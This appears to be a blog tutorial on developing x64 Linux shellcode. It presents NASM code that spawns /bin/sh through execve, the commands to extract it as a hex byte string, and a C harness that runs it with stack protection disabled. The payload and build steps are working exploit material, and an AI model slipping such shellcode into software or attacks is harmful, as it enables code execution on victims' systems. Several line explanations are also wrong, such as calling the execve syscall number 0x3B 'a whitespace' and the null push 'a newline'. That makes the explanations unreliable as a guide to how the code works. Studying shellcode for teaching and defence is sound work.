Developing custom shellcode x64 Linux

Introduction

Writing custom shellcode for x64 bit systems is one of the hardest challenges, because it involve lots of low level programming stuff, but it’s really easy when you follow the steps and understand why/how/when.

In addition, each operating system has a different way of compiling to executing the assembly instructions, for the propose of this post, I’ll dive into writing a customized shellcode for Linux operating systems that run x64 bit, feel free to check out other posts for other systems and different techniques.

The x64 is an extension of Intel IA-32 architecture. The main distinguishing feature of this architecture is that it supports the 64-bit general-purpose registers, 64-bit arithmetic, and logic operations on integers and 64-bit virtual addresses, for the 32-bit general-purpose registers are saved, added to their extended versions: rax, rbx, rcx, rdx, rsi, rdi, rbp, rsp . In addition to these, there are several new general-purpose registers: r8, r9, r10, r11, r12, r13, r14, r15.

So what’s the ShellCode?

In computer security, shellcoding in its most literal sense means writing code that will return a remote shell or run an external program or task when executed. The meaning of shellcode has evolved, it now represents any byte code that will be inserted into an exploit to accomplish the desired task.

What do we need to develop a simple shellcode that executes “/bin/bash” application when it runs in the memory?

Nasm: Assembler

ld: ld is dynamic linker can be run either indirectly by running some dynamically linked program or library, it already exists in Linux operating system, you don’t have to download or install stuff.

objdump: objdump is a command-line program for displaying various information about object files on Unix-like operating systems.

Creating the ShellCode using Assembly 🙂

nano shellcode.asm

And put the following assembly instructions in shellcode.asm file , don’t worry i am going to explain every single line

 section .text
    global _start

_start:

    xor rdx, rdx
    push rdx
    mov rax, 0x68732f2f6e69622f
    push rax
    mov rdi, rsp
    push rdx
    push rdi
    mov rsi, rsp
    xor rax, rax
    mov al, 0x3b
    syscall

Explaining the code above:

section .text : The text section is used for keeping the actual code. This section must begin with the declaration global _start, which tells the kernel where the program execution begins.

global _start: we’re here defining the main execution point for our application, we’re basically instructing the operating system to execute _start section once the application is loaded.

xor rdx, rdx: here we’re starting to work with execve a c function which executes the program pointed to by filename. filename must be either a binary executable, this function creates a system call. the execve function takes 3 parameters

int execve(const char *filename, char *const argv[], 
           char *const envp[]); 

so what we mean by “xor rdx, rdx” is Leave the value in register rdx, since it is still required as a character string and the end value of the third parameter (which will null).

push rdx: Push newline character.

mov rax, 0x68732f2f6e69622f: put the hex representation of “/bin”/sh” 0x68732f2f6e69622f into rax register.

push rax: push the line /bin/sh

mov rdi, rsp: Got the address of the string /bin//sh from rsp so put it in rdi

Now rsi must contain a pointer to an array of strings. In this case, this array will contain only the path to the executable file, so it is enough to put an address which contains the address of the string (in C language pointer to a pointer). This address we already have, it is in register rdi. The array must be terminated by argv null-byte, which we are in the register rdx. So we do:

push rdx + push rdi + mov rsi, rsp

0x3B: means put a whitespace.

syscall: perform a system call.

Now we have to compile and link our file, so let’s do that.

nasm -f elf64 shellcode.asm . // this will generate shellcode.o file
ld -m elf_x86_64 -s -o shellcode shellcode.o . //this will generate our final binary 
chmod +x shellcode //to make our binary executable 
ls -l shellcode //just to make sure everything is ok with the compiled file
./shellcode . //executing our binray to test if it's working, if so we'll see something like this

Now our binary is ready, we have to generate the shellcode, this is can be done simply by using objdump -d shellcode.

As we can see in the image above we have extracted the ASM instructions out of our binary file with the hex values, but we still have one step to complete, which’s converting the output of objdump into one liner (hex formatted) shellcode.

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Final shellcode: \x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05

Alright, let’s test it by writing a simple C app that will execute the generate shellcode.

nano final.c
char shellcode[] = "\x48\x31\xd2\x52\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f\x05";

int main ()
{
    void(*f)() = (void(*)())shellcode;
    f();
    return 0;
}

Compiling the file

gcc -m64 -fno-stack-protector -z execstack -o final final.c
chmod +x final
./final

And that’s it.

Leave a Reply